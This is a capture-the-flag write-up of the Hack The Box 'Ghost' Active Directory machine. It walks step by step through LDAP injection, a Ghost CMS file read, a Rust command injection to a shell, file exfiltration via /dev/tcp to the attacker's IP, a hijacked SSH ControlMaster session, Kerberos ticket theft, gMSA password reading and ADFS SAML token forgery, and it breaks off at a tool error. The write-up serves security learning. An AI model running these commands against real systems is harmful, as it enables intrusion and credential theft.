Overview

The machine starts by an LDAP injection in the intranet login that leaks gitea credentials, using an LFI in the blog's Ghost CMS to leak a dev API key and chain into a rust command injection RCE to get a shell in a docker container to find an ssh controlmaster session and reused Kerberos ticket for a domain user. Cracking a coerced netntlmv2 hash gets bloodhound access to read a gmsa password over winrm to get user, then abusing read rights on ADFS secrets to forge a saml token, pivoting through an mssql linked server and EfsPotato local privesc to get system, and finally abusing a child-to-parent domain trust to forge an inter-realm golden ticket to get shell as administrator

Enumeration

Lets start with nmap scan

we got a lot of ports open the only thing we are sure of right now that this is an AD machine

  • domain name is ghost.htb and the FQDN is DC01.ghost.htb
  • there is MSSQL server running on 1433
  • there is multiple HTTP ports exposed
    • port 80 running HTTPAPI which isn't fully featured IIS so it is used by some other service
    • port 8008 running a nonstandard page
    • port 8443 running another vhost which is core.ghost.htb
  • skew is fine so lets setup the environment as we always do

we start by adding the vhosts to the host file and generating KRB file

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ echo '10.129.231.105 DC01 DC01.ghost.htb ghost.htb core.ghost.htb' | sudo tee -a /etc/hosts
10.129.231.105 DC01 DC01.ghost.htb ghost.htb core.ghost.htb
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ sudo nxc smb 10.129.231.105 -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.129.231.105 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.105 445 DC01 [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.129.231.105 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.129.231.105 445 DC01 [+] ghost.htb\:

there is multiple HTTP ports so in this case i will roll out the easy wins like Guest share, and LDAP null bind first

AD Services

and both failed now we know our only way forward is the web apps so lets take a look at each and start fuzzing

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc smb 10.129.231.105 -u Guest -p '' --shares
SMB 10.129.231.105 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.231.105 445 DC01 [-] ghost.htb\Guest: STATUS_ACCOUNT_DISABLED
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc ldap 10.129.231.105 -u '' -p ''
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP 10.129.231.105 389 DC01 [+] ghost.htb\:

HTTP

Port 80

as expected it isn't actual web page it is just utilized by some other service ss_20260627_220108.png

port 8008

looks like blog site powered by Ghost CMS so keep that in mind and there is a user called Kathryn holland so start taking notes ss_20260627_220358.png

port 8443

it is an ADFS and we don't have any creds so lets move on ss_20260627_220512.png

Fuzzing

what we need to do is to

  • fuzz for directories
  • fuzz for virtual hosts

but doing that we need to make sure all our URLs are pointing to the port 8008 (you should fuzz everything but start what you think is more promising)

and we got 2 more vhosts, I dropped the directory fuzzing for now cause it crammed the server and i didn't think that blog would have anything anyway so lets get back to it later if we hit a dead end

Vhosts

the gitea is obviously a gitea instance, there isn't any public repositories but we got two more usernames ss_20260627_222053.png

and finally we're getting some where, there is a login form ss_20260627_222144.png

Intranet Vhost

testing for authentication with default creds, this is an LDAP authentication, one thing you always look for here is LDAP injection ss_20260627_222318.png

wrong creds return Invalid Combination error so we can't enumerate usernames the easy way but we got 3 possible usernames anyway ss_20260627_223317.png

LDAP Injection

Lets testing for LDAP injection, and the easiest LDAP injection is just two parameters take unsanitized input where we'll use the wild card * to match anything for username and anything for password and as you can see it works and we get a cookie ss_20260627_223547.png

first of all we get session as Kathryn holland which i guess this is totally random meaning it isn't the only username in the directory but it just matches anyone which happens to be that Kathryn user but I've tried multiple times and i get Kathryn every time so we'll have to wait and see how that happen

Secondly we got a list of users two of them is the users we found on the gitea instance which i believe will be the gem to that box ss_20260627_223750.png

the news tells us that we can only login using that gitea_temp_principal in gitea so now we'll focus on that ss_20260627_224020.png

Looking at the forums tab, we get a valuable piece of information, Justin is asking why that he is trying to connect to a subdomain but it isn't connecting so kathryn replied that due to the migration it is down for now but it'll be back up soon so just keep your script running

meaning there is a script trying to connect to that subdomain at all time now we get a new attack vector here, cause this script is trying to connect to that subdomain all the time if we can spoof that DNS record we can make it connect back to us leaking NTLMv2 hash but we can't do that now cause we need a domain creds to modify a record so this is our goal ss_20260627_224134.png

Strategy

so lets get back to LDAP Injection and let me drop some stuff we need to know about this

LDAP supports the wildcards which we used earlier * which matches any character and we can use that to get the password of the account we saw earlier but how ? the idea is gonna be the same exactly as the logic-based SQL injection but the only difference that we don't have any comparison operators like > or < which makes our life easier in the SQL injection by narrowing down the list of characters but there is an idea to narrow it down (not as fast as using binary search but still it is good). this idea's credit goes to ippsec in his Go playlist on Youtube doing LDAP injection tool which I'll drop at the resources section

lets say there is a user called admin and his password is admin

  • so if we do user name admin and password *a* this will return true becuase a is a part of the password
  • so if we do username admin and password *b* this will return false because b isn't a part of the password

What am I getting at ? we need to get a list of characters that exist in the password then start to order them, but how faster is this ?

if we assumed the password is 5 characters so the maximum number of attempts for the first approach which is just testing character* it'll be 26*5=130

but in this approach we'll start with fixed 26 attempt to get the characters then if it is 5 characters we'll need another 120 attempts to guess the order so the total will be 146 so did we increase the max number of attempts?

for this one yes but this is because we assumed it is only lower case characters but if we assumed it is chars and numbers and special characters with 20 characters long this will make it down from 68*20=1360 to 68+210=278 which is a huge difference (cause we are assuming the maximum but average speaking it'll be even faster than this)

Take

one more thing the LDAP Search Query Parameter in login forms usually looks something like this

plaintext
(&(objectClass=user)(samAccountName=gitea_temp_principal)(userPassword=*s*))

and because LDAP is in-sensitive, the password admin is the same as AdMIN

How come when we use a tool like NXC with LDAP, there is a difference between password and Password? you need to know the difference between LDAP in web apps (queries) and the actual authentication mechanisms

LDAP is a storage and a query tool

  • In Active Directory, the standard password attribute (unicodePwd) cannot be queried with wildcards at all for security reasons.
  • In other LDAP implementations (like OpenLDAP), attributes use specific matching rules where some rules are case-sensitive, and some are case-insensitive so the LDAP Itself isn't vulnerable it is just the way it was configured and the inputs were unsanitized. in this case when we figured it was vulnerable to LDAP injection we know that it doesn't use the unicodePwd as the password attribute to be queried for the webapp but it uses some other attribute where the default is case-insensitive unless you make it case-sensitive

ok but how does NXC work ? so LDAP is insensitive by default but active directory passwords are case-sensitive and windows stores passwords as NTLM hashes, where the hash for password is completely different from the hash for Password so when we use NXC to authenticate to LDAP, LDAP doesn't handle the authentication itself but it is just the messenger where it sends a Bind request to the AD after the handshake with the username and the password, where the domain controller will receive that request and uses the LDAP service inside windows to grab the plain password out of the request then passes it to the windows internal authentication subsystem and hashes it using the NTLM algorithm (now windows got the hash of your submitted password) then it uses this hash to look into the ntds.dit file to compares the hash with the one for that user to decide whether it is valid or not

all that just to say this I will assume that the password is alphanumeric and lowercase only (even most special characters like * or ( or ) will break the entire query and it'll need a special way to handle this as we saw in a box like hercules

LDAP injection Script

back to this request, I used burp repeater and started omitting the form data one by one to know which is required and the required are the ACTION_REF and the 0 data ss_20260627_222318.png

so i started by writing the first half of the script that will just find the characters that exist in the password

testing it as you can see, it gave us the characters in the password

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ go run brute.go
Characters Pool is [0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z]
Password Contains These Characters [3 6 8 c f k l n o p q r s z]

no we'll iterate over those to order them but don't forget we don't know the length of the password cause there might be duplicate characters

if we don't know the length of the password, so when we reach the password (the right one) if we tried password* it'll still passes so will we be going on to the end of the earth. so we need to add an extra step we'll make the infinite loop working but at the beginning of each iteration we'll do a strict check on the password without * so if it is right we don't need to continue anymore

and here is the full script

and as you can see we got the password so lets start taking notes of creds we find

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ go run brute.go
Characters Pool is [0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z]
Password Contains These Characters [3 6 8 c f k l n o p q r s z]
[+] Ordering Characters Now...
[+] Verified Password!
password is %s szrr8kpc3z6onlqf

and just to prove my points the password we got was szrr8kpc3z6onlqf but look at this the last 3 characters are capitalized and still works ss_20260628_005035.png

Gitea Vhost

after login using the creds we just discovered, we get two repositories one we already are done with which is the intranet and the other is the blog ss_20260628_005149.png

we got the source code file called Posts-public and the README file tells a lot. ss_20260628_005437.png

the README file tells this

  • there is an extra feature in the intranet but we'll need a key called DEV_INTRANET_KEY
  • this key stored in env variables
  • gives us API Key for the Ghost CMS we'll need to deal with API

so it looks like we'll be back to the intranet after all but not now after we get that env variable

Blog Source code

looking at the source code there is an LFI here, there isn't any sanitization on this extra parameter

plaintext
 async query(frame) {
            const options = {
                ...frame.options,
                mongoTransformer: rejectPrivateFieldsTransformer
            };
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
        }

quick search for ghost CMD we get the API surface ss_20260628_010718.png

and reading the docName posts from the source code it has two methods which is browse mapping to GET / and there is read which maps to GET /posts/id so we know the vulnerability in the first so lets start exfiltrating data

first testing a valid call to the API and that's the exact format we saw in the API doc where it takes the API key as query param (we got the API from the Gitea) ss_20260628_011106.png

and as you can see we can read files now ss_20260628_011302.png without going into any rabbit holes we already know we are here primarily for the dev key so lets get it

having the format it is better to use curl for now

bash
[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/web]
└──╼ [★]$ curl -s "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ" | jq .meta.extra[]
"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"

lets make it a little bit readable and we got the intra key we need so lets go back and read the source code and find a vulnerability in the app

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/web]
└──╼ [★]$ curl -s "http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ" | jq -r .meta.extra[] | tr '\0' '\n'
HOSTNAME=26ae7990f3dd
database__debug=false
YARN_VERSION=1.22.19
PWD=/var/lib/ghost
NODE_ENV=production
database__connection__filename=content/data/ghost.db
HOME=/home/node
database__client=sqlite3
url=http://ghost.htb
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
database__useNullAsDefault=true
GHOST_CONTENT=/var/lib/ghost/content
SHLVL=0
GHOST_CLI_VERSION=1.25.3
GHOST_INSTALL=/var/lib/ghost
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.19.0
GHOST_VERSION=5.78.0

Shell as Root in a container

here is the intranet source code, i will assume that the development part is at the dev folder ss_20260628_012105.png

here is its source code which screams an RCE for me through that data.url value cause it just constructs a command using bash -c then the arguments for this command are constructed using format! to concatenate user input (data.url) directly into a string

this is the vulnerable code, the data.url is a fully attacker controller JSON data so we can drop what ever we need there

plaintext
let result = Command::new("bash")
    .arg("-c")
    .arg(format!("intranet_url_check {}", data.url))
    .output();

now we just need to know where to hit this endpoint looking at the source code the endpoint is at /api-dev

bash
fn rocket() -> _ {
    dotenv::dotenv().ok();

    let cors = rocket_cors::CorsOptions {
        allowed_origins: AllowedOrigins::all(),
        allowed_methods: vec![Method::Get, Method::Post].into_iter().map(From::from).collect(),
        allow_credentials: true,
        ..Default::default()
    }.to_cors().unwrap();

    rocket::build()
        .mount("/api", routes![
            api::login::login,
            api::news::get_news,
            api::users::get_users,
            api::me::get_me,
            api::forum::get_forum,
        ])
        .mount("/api-dev", routes![
            api::dev::scan::scan
        ])
        .attach(cors)
        .register("/", catchers![not_authorized])
}

one last thing is the exact header name and the dev.rs at the API folder tells us the exact header name

bash
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

and we get confirmed RCE lets get a shell (just remember our goal is to get a creds to the domain for that script running) ss_20260628_014134.png

and we get a shell back as you can see ss_20260628_015216.png

i found this database.sqlite file tried to move it but nc wasn't on the system but we can use that path to move files

plaintext
root@36b733906694:/app# nc 10.10.16.206 4444 < database.sqlite
bash: nc: command not found
root@36b733906694:/app# cat database.sqlite > /dev/tcp/10.10.16.206/4444
root@36b733906694:/app#

looking at the tables there is nothing worth dumping

plaintext
sqlite> .tables
__diesel_schema_migrations  forum_reply
forum_post                  post

there is LDAP bind password for someone, i guess who setup this docker container is the user who create the repo on the gitea so lets try this password for him

plaintext
root@36b733906694:/app# env
DATABASE_URL=./database.sqlite
HOSTNAME=36b733906694
PWD=/app
HOME=/root
CARGO_HOME=/usr/local/cargo
LDAP_BIND_DN=CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
LDAP_HOST=ldap://windows-host:389
LDAP_BIND_PASSWORD=He!KA9oKVT3rL99j
TERM=xterm
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RUSTUP_HOME=/usr/local/rustup
ROCKET_ADDRESS=0.0.0.0
SHLVL=5
RUST_VERSION=1.79.0
LC_CTYPE=C.UTF-8
PATH=/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JWT_SECRET=*xopkAGbLyg9bK_A
_=/usr/bin/env
OLDPWD=/

first of all it worked for that user

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc ldap 10.129.231.105 -u 'Intranet_Principal' -p 'He!KA9oKVT3rL99j'
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [+] ghost.htb\Intranet_Principal:He!KA9oKVT3rL99j

so we get a list of users (we already have it from the intranet users tab but just to make sure there isn't any others)

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc ldap 10.129.231.105 -u 'Intranet_Principal' -p 'He!KA9oKVT3rL99j' --users-export users.txt
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [+] ghost.htb\Intranet_Principal:He!KA9oKVT3rL99j
LDAP 10.129.231.105 389 DC01 [*] Enumerated 14 domain users: ghost.htb
LDAP 10.129.231.105 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.231.105 389 DC01 Administrator 2024-07-02 12:11:35 0 Built-in account for administering the computer/domain
LDAP 10.129.231.105 389 DC01 Guest < never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.231.105 389 DC01 krbtgt 2024-01-30 09:27:23 0 Key Distribution Center Service Account
LDAP 10.129.231.105 389 DC01 kathryn.holland 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 cassandra.shelton 2024-02-01 14:48:11 2
LDAP 10.129.231.105 389 DC01 robert.steeves 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 florence.ramirez 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 justin.bradley 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 arthur.boyd 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 beth.clark 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 charles.gray 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 jason.taylor 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 intranet_principal 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 gitea_temp_principal 2024-02-01 14:48:11 0
LDAP 10.129.231.105 389 DC01 [*] Writing 14 local users to users.txt

now with valid creds we can finally try to spoof the DNS record for that bucket domain

but we got insufficient Access rights which is weird

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ python3 /opt/krbrelayx/dnstool.py -u 'ghost.htb\intranet_principal' -p 'He!KA9oKVT3rL99j' -dc-ip 10.129.231.105 -r 'bitbucket.ghost.htb' -a add -t A -d 10.10.16.2
06 DC01.ghost.htb -dns-ip 10.129.231.105
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[!] LDAP operation failed. Message returned from server: insufficientAccessRights 00000005: SecErr: DSID-03152E29, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

we got a create child but over a different zone so lets write to that

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ bloodyAD --host 10.129.231.105 -d ghost.htb -u intranet_principal -p 'He!KA9oKVT3rL99j' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ghost,DC=htb
permission: WRITE

distinguishedName: CN=Intranet Principal,CN=Users,DC=ghost,DC=htb
permission: WRITE

distinguishedName: DC=_msdcs.ghost.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ghost,DC=htb
permission: CREATE_CHILD

but it also failed and i have no idea why

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ python3 /opt/krbrelayx/dnstool.py -u 'ghost.htb\intranet_principal' -p 'He!KA9oKVT3rL99j' -dc-ip 10.129.231.105 -r 'bitbucket.ghost.htb' -a add -t A -d 10.10.16.2
06 -dns-ip 10.129.231.105 --zone _msdcs.ghost.htb DC01.ghost.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[!] LDAP operation failed. Message returned from server: noSuchObject 0000208D: NameErr: DSID-0310028D, problem 2001 (NO_OBJECT), data 0, best match of:
        'CN=MicrosoftDNS,DC=DomainDnsZones,DC=ghost,DC=htb'

Shell as Florence Ramirez

so lets' go back do some proper enumeration on the target

the root got a controlmaster at his .ssh directory

bash
root@36b733906694:~/.ssh# ls -la
total 32
drwxr-xr-x 1 root root 4096 Jul 5 2024 .
drwx------ 1 root root 4096 Jul 5 2024 ..
-rw-r--r-- 1 root root 92 Jun 28 04:34 config
drwxr-xr-x 1 root root 4096 Jun 28 04:35 controlmaster
-rw------- 1 root root 978 Jul 5 2024 known_hosts
-rw-r--r-- 1 root root 142 Jul 5 2024 known_hosts.old

SSH ControlMaster is a feature in OpenSSH that allows you to reuse an existing, active SSH connection for subsequent SSH sessions to the same host. Instead of opening new connection every time you run an SSH, SCP, or SFTP command, it establishes a single "master" connection, all future sessions act as multiplexed channels running over that original connection I would say it is kinda like like the web session storage (cookie) but for SSH

and we got a session for the user florence.ramirez

plaintext
root@36b733906694:~/.ssh/controlmaster# ls
florence.ramirez@ghost.htb@dev-workstation:22

and now we are on florence ramirez

plaintext
root@36b733906694:~/.ssh/controlmaster# ssh florence.ramirez@ghost.htb@dev-workstation
Last login: Thu Feb  1 23:58:45 2024 from 172.18.0.1
florence.ramirez@LINUX-DEV-WS01:~$ whoami
florence.ramirez
florence.ramirez@LINUX-DEV-WS01:~$

this user is part of the active directory so we should look for tickets or something

there is a ticket for him here so lets get it back to our system and use it

plaintext
florence.ramirez@LINUX-DEV-WS01:~$ klist
Ticket cache: FILE:/tmp/krb5cc_50
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
06/28/26 09:24:01  06/28/26 19:24:01  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 06/29/26 09:24:01

so using the same method as before we get the ticket

plaintext
44orence.ramirez@LINUX-DEV-WS01:~$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.16.206/44
florence.ramirez@LINUX-DEV-WS01:~$ ls /tmp/
init_success  nmbd-stdout---supervisor-bcb2rxld.log
krb5cc_50     winbind-stdout---supervisor-tvtubnhu.log

and we can act as Florence on the domain now

plaintext
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ cp florence.ramirez.ccache /tmp/krb5cc_1000
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: florence.ramirez@GHOST.HTB

Valid starting     Expires            Service principal
06/28/26 02:25:01  06/28/26 12:25:01  krbtgt/GHOST.HTB@GHOST.HTB
        renew until 06/29/26 02:25:01

now let's do the same but using florence instead of intranet_principal

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc ldap 10.129.231.105 --use-kcache
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GHOST.HTB) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [+] GHOST.HTB\florence.ramirez from ccache

and at this point I was just happy that I didn't miss that piece of information about the DNS from the website (not just that i didn't miss it but i planned this whole thing from the start) so lets try to crack that password and if we can't we can start doing some relaying ss_20260628_023025.png

and we cracked it,

at this point, I have no idea what needs to be done so lets get bloodhound running

first collect data

lately I've been running rusthound and bloodhound from linux simultaneously (cause rusthound get a lot of god stuff but it misses the Self Edges)

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ bloodhound-ce-python -ns 10.129.231.105 -u justin.bradley -p 'Qwertyuiop1234$$' -d ghost.htb -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.ghost.htb
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.ghost.htb
INFO: Found 16 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 20 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: linux-dev-ws01.ghost.htb
INFO: Querying computer: DC01.ghost.htb
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The resolution lifetime expired after 3.104 seconds: Server Do53:10.129.231.105@53 answered The DNS operation timed out.
INFO: Done in 00M 38S
INFO: Compressing output into 20260628034533_bloodhound.zip

Shell as Justin Bradley

looking at the data the user justin.bradley got read GMSA password over the computer account ADFS_GMSA$ and remember the ADFS login page we saw earlier Pasted image 20260628180325.png

let's just get the user flag before moving on

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ evil-winrm -i 10.129.231.105 -u justin.bradley -p 'Qwertyuiop1234$$'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> type ..\Desktop\user.txt
0f2ab3bbf8b55758d45f763bc106d691
*Evil-WinRM* PS C:\Users\justin.bradley\Documents>

Shell as ADFS_GMSA$

and we got the hash for the computer account

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ nxc ldap 10.129.231.105 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
LDAP 10.129.231.105 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never)
LDAP 10.129.231.105 389 DC01 [+] ghost.htb\justin.bradley:Qwertyuiop1234$$
LDAP 10.129.231.105 389 DC01 [*] Getting GMSA Passwords
LDAP 10.129.231.105 389 DC01 Account: adfs_gmsa$ NTLM: 32e35adb7636bf4d12332d16afcb651f PrincipalsAllowedToReadPassword: ['DC01$', 'justin.bradley' ]

and that account is also valid for WINRM

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ evil-winrm -i 10.129.231.105 -u adfs_gmsa$ -H 32e35adb7636bf4d12332d16afcb651f

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami
ghost\adfs_gmsa$
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents>

we can dump the configuration using native modules like AADInternal i guess but there is a powershell that makes our life much easier called golden.ps1

ADFS Dumping then Spoofing

and we got the signing key and the certificate value

then the repo advises us to convert them first so we did, time to spoof

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ cat TKSKey.txt | base64 -d > TKSKey.bin
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$ cat DKM.txt | tr -d "-" | xxd -r -p > DKM.bin
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost]
└──╼ [★]$

then we use a tool called ADFSpoof to forge the token of the ADFS service but just so you don't get stuck for as much as i get, the tool we'll use needs python 3.11 so make sure to install 3.11 and set it using pyenv for the local repo at least then install

back to website to get all the info we need for the tool we see that it redirects to federation vhost so lets add it too ss_20260628_042803.png

here is the tool syntax

plaintext
--endpoint ENDPOINT: The recipient of the seucrity token. This should be a full URL.
--nameidformat URN: The value for the 'Format' attribute of the NameIdentifier tag. This should be a URN.
--nameid NAMEID: The NameIdentifier attribute value.
--rpidentifier IDENTIFIER: The Identifier of the relying party that is receiving the token.
--assertions ASSERTIONS: The assertions that the relying party is expecting. Use the claim rules output by ADFSDump to ascertain this. Should be a single-line (do not include newlines) XML string.
--config FILEPATH: A filepath to a JSON file containing the above arguments. Optional - use this if you don't want to supply everything over the command line.
these are the option from the git repo and because we don't have --config file we have to specify all the options so lets gather them

A NameID format is a SAML (Security Assertion Markup Language) attribute used in single sign-on (SSO) to define the type of identifier an Identity Provider (IdP) sends to a Service Provider (SP) so because i tried to login using justin username and it told me that it requires mail so i will use an email identified which is this urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress

for the endpoint we'll intercept any login attempt to the federation and see which endpoint we send the SAMLResponse to after the login which is this /adfs/saml/postResponse

http
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Cookie: connect.sid=s%3AHf1e9UC-5G2rWXa1uemA8CI6evnrlfey.7%2FxJq4nHk%2BkPP2YrHYQySvBvh0C47%2FXDJrhwIkUr5hQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
<SNIP>

SAMLResponse=PHNhbWxwOlJlc3BvbnNlIE

we already got the nameid we need to forge which is administrator@ghost.htb and the files we already got the files we need for the rpidentifier we'll use this https://core.ghost.htb:8443 cause that's what is shown in the identity value of the golden.ps1 and for the assertion i will use the one from the example <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><AttributeValue>robin@doughcorp.com</AttributeValue></Attribute> just will change the identity

this one kept throwing error so lets try the one from the sharpcollection instead

bash
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/ghost/ADFSpoof]
└──╼ [★]$ python3 ADFSpoof.py -b TKSKey.bin DKM.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress --nameid administrator@ghost.htb --rpidentifier https://core.g
host.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator@ghost.htb</AttributeValue></Attribute>'

    ___    ____  ___________                   ____
   / | / __ \/ ____/ ___/____ ____ ____ / __/
  / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_
 / ___ | / /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/
/_/ | _/_____/_/ /____/ .___/\____/\____/_/
                        /_/

A tool to for AD FS security tokens
Created by @doughsec

Calculated MAC did not match anticipated MAC
